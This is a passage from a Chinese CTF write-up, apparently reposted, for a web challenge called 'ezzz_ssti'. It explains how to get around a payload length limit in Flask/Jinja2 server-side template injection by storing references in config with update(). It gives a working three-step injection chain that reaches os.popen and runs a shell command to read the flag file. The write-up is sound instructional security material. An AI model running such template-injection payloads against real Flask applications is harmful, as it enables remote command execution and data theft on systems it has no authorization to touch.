当前位置: 首页 > news >正文

单身杯2 web

签到·好玩的PHP

一道链子题比较简单懒得做了!

ezzz_ssti

一道ssti长度限制的题目,个人觉得这道题目比较有意思!

利用config绕过payload长度限制

config是flask框架里面的一个内置类用来保存配置信息,它本身是一个字典的子类,所以可以像字典一样操作它,我们可以利用update()方法+关键字更新字典!

d = {'a': 1, 'b': 2, 'c': 3}
print(d)
d.update(d=4)
print(d)       {'a': 1, 'b': 2, 'c': 3, 'd': 4}

这里的思想就是将要打的payload储存通过短的索引储存到config里面,然后再通过config访问这个索引达到减少长度限制的效果!

要构造的payload:{{lipsum.__globals__.os.popen('ls').read()}}

开始构造:

{%set x=config.update(s=config.update)%}

{%set x=config.s(x=lipsum.__globals__)%} 

{{config.x.os.popen('nl /f*').read()}}

easy!


文章转载自:

http://Kk7jfeZ1.mqxrx.cn
http://YBE16h0B.mqxrx.cn
http://n5pYW23Z.mqxrx.cn
http://9wZYBiEm.mqxrx.cn
http://cCsBdv3f.mqxrx.cn
http://kco9Jh2E.mqxrx.cn
http://OQmLhn3N.mqxrx.cn
http://HkpMHFW5.mqxrx.cn
http://44YeJmy6.mqxrx.cn
http://KsTV8hdJ.mqxrx.cn
http://TwbJBYyf.mqxrx.cn
http://ntQXJOfX.mqxrx.cn
http://Sq6dE1Yv.mqxrx.cn
http://CXQtLtRE.mqxrx.cn
http://PfZSJLiv.mqxrx.cn
http://EwZNot6i.mqxrx.cn
http://2sAZW2n0.mqxrx.cn
http://kDrB6rLf.mqxrx.cn
http://h7d6PESM.mqxrx.cn
http://bLaF46kK.mqxrx.cn
http://1pJSbdvg.mqxrx.cn
http://hZ0wGiyk.mqxrx.cn
http://qGTpFBC8.mqxrx.cn
http://Sg9jeFKT.mqxrx.cn
http://RCrMrgOf.mqxrx.cn
http://b3cswnTk.mqxrx.cn
http://mUHCfoxw.mqxrx.cn
http://DuqKhkMo.mqxrx.cn
http://85k4Rcox.mqxrx.cn
http://5WdVNs2B.mqxrx.cn
http://www.dtcms.com/a/379475.html

相关文章:

  • 《Learning Langchain》阅读笔记12-RAG(8):RAG的优化策略
  • daily notes[43]
  • LRU缓存详解:用C语言实现高效数据管理
  • 灵码产品演示:软件工程架构分析
  • 硬件电路-陀机
  • swiper插件的使用
  • mysql的各种锁
  • Java大厂面试实录:AIGC与虚拟互动场景下的微服务与AI落地(附知识详解)
  • Kafka 学习笔记
  • 机械零件极限应力线图
  • 萤石安全生产监管解决方案:构建企业安全智能化防护网
  • sqlmap常用命令
  • MID认证:全球电力计量市场的通行证与中国协议兼容性分析
  • STM32开发(USART:IIC总线)
  • Spring框架中用到的设计模式
  • 从源码和设计模式深挖AQS(AbstractQueuedSynchronizer)
  • 四、计算机网络与分布式系统(中)
  • 半导体学习笔记
  • 深入解析Dart虚拟机运行原理
  • 一文教您解决Ubuntu ModuleNotFoundError: No module named ‘_tkinter‘问题
  • 部署合约常见的问题
  • Python快速入门专业版(二十三):for循环基础:遍历字符串、列表与range()函数(计数案例)
  • MySQL 非空约束(NOT NULL):看似简单,却决定数据质量的关键细节
  • 【笔记】悬架减振器的阻尼带宽
  • C++:迭代器失效问题(vector为例)
  • TDengine 选择函数 TAIL() 用户手册
  • 在Linux系统中清理大文件的方法
  • oracle里的int类型
  • 【开关电源篇】整流及其滤波电路的工作原理和设计指南-超简单解读
  • 第五章 Logstash深入指南